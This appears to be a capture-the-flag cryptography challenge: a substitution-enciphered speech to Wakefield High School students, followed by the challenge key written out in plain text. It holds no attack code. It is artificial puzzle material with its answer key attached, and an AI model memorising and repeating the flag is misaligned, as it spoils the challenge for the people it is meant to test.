VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09
and the key is 640e11012805f211b0ab24ff02a1ed09
cipher = '640e11012805f211b0ab24ff02a1ed09'